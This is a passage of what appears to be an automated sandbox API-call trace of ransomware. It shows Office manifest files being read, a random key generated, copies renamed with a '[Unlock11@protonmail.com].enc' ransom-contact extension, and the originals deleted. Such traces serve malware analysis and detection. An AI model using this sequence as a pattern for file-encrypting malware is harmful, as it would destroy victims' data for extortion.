GetCurrentThreadId () returned 0x9b0 [0133.901] GetCurrentThreadId () returned 0x9b0 [0133.902] GetCurrentThreadId () returned 0x9b0 [0133.903] GetCurrentThreadId () returned 0x9b0 [0133.903] GetCurrentThreadId () returned 0x9b0 [0133.905] GetCurrentThreadId () returned 0x9b0 [0133.905] GetCurrentThreadId () returned 0x9b0 [0133.906] GetCurrentThreadId () returned 0x9b0 [0133.906] GetCurrentThreadId () returned 0x9b0 [0133.907] GetCurrentThreadId () returned 0x9b0 [0133.907] GetCurrentThreadId () returned 0x9b0 [0133.907] GetCurrentThreadId () returned 0x9b0 [0133.907] GetCurrentThreadId () returned 0x9b0 [0133.908] GetCurrentThreadId () returned 0x9b0 [0133.909] GetCurrentThreadId () returned 0x9b0 [0133.910] GetCurrentThreadId () returned 0x9b0 [0133.910] GetCurrentThreadId () returned 0x9b0 [0133.912] GetCurrentThreadId () returned 0x9b0 [0133.912] GetCurrentThreadId () returned 0x9b0 [0133.912] GetCurrentThreadId () returned 0x9b0 [0133.912] GetCurrentThreadId () returned 0x9b0 [0133.914] GetCurrentThreadId () returned 0x9b0 [0133.914] GetCurrentThreadId () returned 0x9b0 [0133.915] GetCurrentThreadId () returned 0x9b0 [0133.915] GetCurrentThreadId () returned 0x9b0 [0133.916] GetCurrentThreadId () returned 0x9b0 [0133.916] GetCurrentThreadId () returned 0x9b0 [0133.917] GetCurrentThreadId () returned 0x9b0 [0133.917] GetCurrentThreadId () returned 0x9b0 [0133.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0133.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0133.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0133.918] GetCurrentThreadId () returned 0x9b0 [0133.919] GetCurrentThreadId () returned 0x9b0 [0133.921] GetCurrentThreadId () returned 0x9b0 [0133.921] GetCurrentThreadId () returned 0x9b0 [0133.922] GetCurrentThreadId () returned 0x9b0 [0133.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.922] GetCurrentThreadId () returned 0x9b0 [0133.922] GetCurrentThreadId () returned 0x9b0 [0133.924] GetCurrentThreadId () returned 0x9b0 [0133.924] GetCurrentThreadId () returned 0x9b0 [0133.924] GetCurrentThreadId () returned 0x9b0 [0133.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0133.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.925] GetCurrentThreadId () returned 0x9b0 [0133.926] GetCurrentThreadId () returned 0x9b0 [0133.926] GetCurrentThreadId () returned 0x9b0 [0133.926] GetCurrentThreadId () returned 0x9b0 [0133.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0133.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.927] GetCurrentThreadId () returned 0x9b0 [0133.928] GetCurrentThreadId () returned 0x9b0 [0133.941] CloseHandle (hObject=0x3ac) returned 1 [0133.941] CloseHandle (hObject=0x39c) returned 1 [0133.942] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0133.943] GetLastError () returned 0x0 [0133.943] GetLastError () returned 0x0 [0133.944] GetLastError () returned 0x0 [0133.944] GetLastError () returned 0x0 [0133.944] GetLastError () returned 0x0 [0133.944] GetLastError () returned 0x0 [0133.944] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 0x68 [0133.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0133.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0133.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0133.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0133.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab70 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab70 | out: hHeap=0x2ad0000) returned 1 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.945] GetLastError () returned 0x0 [0133.946] GetLastError () returned 0x0 [0133.946] GetLastError () returned 0x0 [0133.946] GetLastError () returned 0x0 [0133.946] GetLastError () returned 0x0 [0133.946] GetLastError () returned 0x0 [0133.946] GetLastError () returned 0x0 [0133.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead00 | out: hHeap=0x2ad0000) returned 1 [0133.946] GetLastError () returned 0x0 [0133.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0133.946] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] GetLastError () returned 0x0 [0133.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0133.947] GetLastError () returned 0x0 [0133.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] GetLastError () returned 0x0 [0133.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.949] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb)) returned 1 [0133.949] GetLastError () returned 0x0 [0133.949] GetLastError () returned 0x0 [0133.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.949] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b624 | out: pbBuffer=0x366b624) returned 1 [0133.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0133.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0133.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0133.949] GetLastError () returned 0x0 [0133.949] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0133.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0133.950] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.950] GetLastError () returned 0x0 [0133.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa08 | out: hHeap=0x2ad0000) returned 1 [0133.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0133.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4288 | out: hHeap=0x2ad0000) returned 1 [0133.951] GetLastError () returned 0x0 [0133.951] GetLastError () returned 0x0 [0133.951] GetLastError () returned 0x0 [0133.951] GetLastError () returned 0x0 [0133.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb60 [0133.951] GetLastError () returned 0x0 [0133.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.952] GetFileType (hFile=0x39c) returned 0x1 [0133.952] GetLastError () returned 0x0 [0133.952] GetLastError () returned 0x0 [0133.952] GetFileType (hFile=0x39c) returned 0x1 [0133.952] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.952] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.952] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.952] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.952] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.953] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.953] GetLastError () returned 0x0 [0133.953] GetCurrentThreadId () returned 0x9b0 [0133.953] GetLastError () returned 0x0 [0133.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0133.953] GetLastError () returned 0x0 [0133.953] GetLastError () returned 0x0 [0133.953] GetLastError () returned 0x0 [0133.953] GetLastError () returned 0x0 [0133.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb60 [0133.954] GetLastError () returned 0x0 [0133.954] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.954] GetFileType (hFile=0x3ac) returned 0x1 [0133.954] GetLastError () returned 0x0 [0133.954] GetCurrentThreadId () returned 0x9b0 [0133.954] GetLastError () returned 0x0 [0133.955] GetFileType (hFile=0x3ac) returned 0x1 [0133.955] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.955] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.955] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.955] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.955] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.955] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.955] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.955] GetLastError () returned 0x0 [0133.955] GetCurrentThreadId () returned 0x9b0 [0133.955] GetLastError () returned 0x0 [0133.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0133.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0048 | out: hHeap=0x2ad0000) returned 1 [0133.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0133.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.956] GetLastError () returned 0x0 [0133.956] GetLastError () returned 0x0 [0133.956] GetCurrentThreadId () returned 0x9b0 [0133.956] GetLastError () returned 0x0 [0133.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0133.956] GetLastError () returned 0x0 [0133.956] GetLastError () returned 0x0 [0133.956] GetCurrentThreadId () returned 0x9b0 [0133.956] GetLastError () returned 0x0 [0133.957] GetLastError () returned 0x0 [0133.958] GetLastError () returned 0x0 [0133.958] GetCurrentThreadId () returned 0x9b0 [0133.958] GetLastError () returned 0x0 [0133.958] GetCurrentThreadId () returned 0x9b0 [0133.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0133.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4c18) returned 0x36fd168 [0133.959] GetLastError () returned 0x0 [0133.959] GetLastError () returned 0x0 [0133.959] GetLastError () returned 0x0 [0133.959] GetLastError () returned 0x0 [0133.959] GetCurrentThreadId () returned 0x9b0 [0133.959] GetLastError () returned 0x0 [0133.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fd168 | out: hHeap=0x2ad0000) returned 1 [0133.960] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.960] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.960] GetLastError () returned 0x0 [0133.961] GetLastError () returned 0x0 [0133.961] GetCurrentThreadId () returned 0x9b0 [0133.961] GetLastError () returned 0x0 [0133.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3701d88 | out: hHeap=0x2ad0000) returned 1 [0133.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fd168 [0133.961] GetLastError () returned 0x0 [0133.961] GetLastError () returned 0x0 [0133.961] GetCurrentThreadId () returned 0x9b0 [0133.961] GetLastError () returned 0x0 [0133.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fd168 | out: hHeap=0x2ad0000) returned 1 [0133.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.962] GetLastError () returned 0x0 [0133.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.962] CloseHandle (hObject=0x3ac) returned 1 [0133.962] GetLastError () returned 0x0 [0133.962] GetCurrentThreadId () returned 0x9b0 [0133.962] GetLastError () returned 0x0 [0133.962] GetLastError () returned 0x0 [0133.963] CloseHandle (hObject=0x39c) returned 1 [0133.963] GetLastError () returned 0x0 [0133.963] GetCurrentThreadId () returned 0x9b0 [0133.963] GetLastError () returned 0x0 [0133.963] GetLastError () returned 0x0 [0133.963] GetLastError () returned 0x0 [0133.963] GetLastError () returned 0x0 [0133.963] GetLastError () returned 0x0 [0133.963] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0133.964] GetLastError () returned 0x0 [0133.965] GetCurrentThreadId () returned 0x9b0 [0133.965] GetLastError () returned 0x0 [0133.965] GetCurrentThreadId () returned 0x9b0 [0133.965] GetLastError () returned 0x0 [0133.965] GetLastError () returned 0x0 [0133.965] GetLastError () returned 0x0 [0133.965] GetLastError () returned 0x0 [0133.965] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 0x68 [0133.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.965] GetCurrentThreadId () returned 0x9b0 [0133.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0133.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0133.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa80 [0133.966] GetLastError () returned 0x0 [0133.966] GetLastError () returned 0x0 [0133.966] GetLastError () returned 0x0 [0133.966] GetLastError () returned 0x0 [0133.966] GetCurrentThreadId () returned 0x9b0 [0133.966] GetLastError () returned 0x0 [0133.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa80 | out: hHeap=0x2ad0000) returned 1 [0133.967] GetCurrentThreadId () returned 0x9b0 [0133.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0133.967] GetLastError () returned 0x0 [0133.967] GetLastError () returned 0x0 [0133.967] GetLastError () returned 0x0 [0133.967] GetLastError () returned 0x0 [0133.967] GetCurrentThreadId () returned 0x9b0 [0133.967] GetLastError () returned 0x0 [0133.967] GetLastError () returned 0x0 [0133.967] GetLastError () returned 0x0 [0133.967] GetLastError () returned 0x0 [0133.968] GetLastError () returned 0x0 [0133.968] GetCurrentThreadId () returned 0x9b0 [0133.968] GetLastError () returned 0x0 [0133.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa08 | out: hHeap=0x2ad0000) returned 1 [0133.968] GetLastError () returned 0x0 [0133.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0133.968] GetLastError () returned 0x0 [0133.968] GetLastError () returned 0x0 [0133.968] GetLastError () returned 0x0 [0133.968] GetCurrentThreadId () returned 0x9b0 [0133.968] GetLastError () returned 0x0 [0133.969] GetCurrentThreadId () returned 0x9b0 [0133.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7a8 [0133.969] GetLastError () returned 0x0 [0133.969] GetLastError () returned 0x0 [0133.969] GetLastError () returned 0x0 [0133.969] GetLastError () returned 0x0 [0133.969] GetCurrentThreadId () returned 0x9b0 [0133.969] GetLastError () returned 0x0 [0133.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0133.969] GetLastError () returned 0x0 [0133.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.970] GetLastError () returned 0x0 [0133.970] GetLastError () returned 0x0 [0133.970] GetLastError () returned 0x0 [0133.970] GetCurrentThreadId () returned 0x9b0 [0133.970] GetLastError () returned 0x0 [0133.970] GetLastError () returned 0x0 [0133.970] GetLastError () returned 0x0 [0133.970] GetLastError () returned 0x0 [0133.970] GetLastError () returned 0x0 [0133.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.971] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3)) returned 1 [0133.971] GetLastError () returned 0x0 [0133.971] GetCurrentThreadId () returned 0x9b0 [0133.971] GetLastError () returned 0x0 [0133.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0133.971] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b82c | out: pbBuffer=0x366b82c) returned 1 [0133.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0133.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0133.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0133.971] GetCurrentThreadId () returned 0x9b0 [0133.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac10 [0133.972] GetLastError () returned 0x0 [0133.972] GetLastError () returned 0x0 [0133.972] GetLastError () returned 0x0 [0133.972] GetLastError () returned 0x0 [0133.972] GetCurrentThreadId () returned 0x9b0 [0133.972] GetLastError () returned 0x0 [0133.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac10 | out: hHeap=0x2ad0000) returned 1 [0133.972] GetCurrentThreadId () returned 0x9b0 [0133.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0133.972] GetLastError () returned 0x0 [0133.973] GetLastError () returned 0x0 [0133.973] GetLastError () returned 0x0 [0133.973] GetLastError () returned 0x0 [0133.973] GetCurrentThreadId () returned 0x9b0 [0133.973] GetLastError () returned 0x0 [0133.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0133.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de648 [0133.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0133.973] GetLastError () returned 0x0 [0133.973] GetLastError () returned 0x0 [0133.974] GetLastError () returned 0x0 [0133.974] GetLastError () returned 0x0 [0133.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64a8 [0133.974] GetLastError () returned 0x0 [0133.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.974] GetFileType (hFile=0x39c) returned 0x1 [0133.974] GetLastError () returned 0x0 [0133.975] GetCurrentThreadId () returned 0x9b0 [0133.975] GetLastError () returned 0x0 [0133.975] GetFileType (hFile=0x39c) returned 0x1 [0133.975] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.975] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.975] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.975] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.975] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.975] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.975] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.975] GetLastError () returned 0x0 [0133.975] GetCurrentThreadId () returned 0x9b0 [0133.975] GetLastError () returned 0x0 [0133.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0133.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0133.976] GetLastError () returned 0x0 [0133.976] GetLastError () returned 0x0 [0133.976] GetLastError () returned 0x0 [0133.976] GetLastError () returned 0x0 [0133.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64a8 [0133.976] GetLastError () returned 0x0 [0133.976] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft 